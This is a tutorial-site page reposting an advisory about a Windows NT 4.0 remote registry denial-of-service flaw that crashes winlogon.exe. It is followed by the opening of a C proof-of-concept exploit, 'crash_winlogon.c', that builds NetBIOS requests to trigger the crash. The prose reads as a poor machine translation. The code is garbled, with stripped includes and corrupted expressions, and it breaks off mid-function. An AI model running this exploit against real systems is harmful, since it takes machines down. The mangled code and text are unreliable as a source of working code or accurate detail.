Windows? NT? 4.0? Remote Registry Denial of Service Attack Vulnerability

The registry tutorial you are looking at is: Windows? NT? 4.0? Remote Registry Denial of Service Attack Vulnerability - Registry Raiders.

59, Windows NT 4.0 Remote Registry Denial of Service Attack Vulnerability

Windows NT 4.0 Remote Registry Denial of Service Attack Vulnerability Release Date: Affected Systems: - Microsoft Windows NT 4.0 Workstation - Microsoft Windows NT 4.0 Server - Microsoft Windows NT 4.0 Server, Enterprise Edition - Microsoft Windows NT 4.0 Server,

Terminal Server Edition is not affected System: Windows 2000 Description: Before the remote host's access request to the registry is processed, it needs to be registered remotely. The table server is authenticated. If you submit a request in an incorrect format, the remote registry

server error will be interpreted and an error will occur and will not work. In Windows Nt 4.0, since the registry server is included in the winlogon.exe system process, an error in this process will result in the entire system being unavailable. Note that only one user who has been authenticated by

can initiate such a request, and an anonymous (empty session) connection cannot cause such a denial of service attack. The attacked system must be restarted to function properly. <* Source:

Renaud Deraison from Nessus Team Microsoft Security Bulletin (MS00-040)*> Test Procedure: WARNING The following procedures (methods) may be offensive and are intended for security research and teaching purposes only. . Users are at their own risk! /** crash_winlogon.c**

by Renaud Deraison - [email protected]** This code is released under the GNU General Public License.*

(thanks for respecting this License)** In case you are wondering, here is the motto I applied for this code :**

"Structures are for sissies"*/#include #include #ifdef WIN32#include #define bzero(x , y) memset(x, 0, y)#else#include #include

#include #include #define closesocket(x) close(x)#endifchar * netbios_name(char * orig){int I, Len;char * ret = malloc(40);bzero(ret, 40);len = strlen(orig);for(I=0;I<16;I++){ if(I >= len) strcat(ret, "CA"); else { int odiv, omod; odiv = (orig[I] /16) + 'A'; omod =

(orig[I] % 16) + 'A'; ret[ ,null,null,3],Strlen(ret)]=odiv; ret[strlen(ret)]=omod; }}return(ret);}char * netbios_redirector(){int I;char * ret = malloc(31);bzero(ret, 31) ;for(I=0;I<15;I++)strcat(ret, "CA");strcat(ret, "AA");return(ret);}char* unicode(char * data){int len ​​= strlen (data); int I; char * ret = malloc(110); int l = 0; bzero(re t,110);for(I=0;I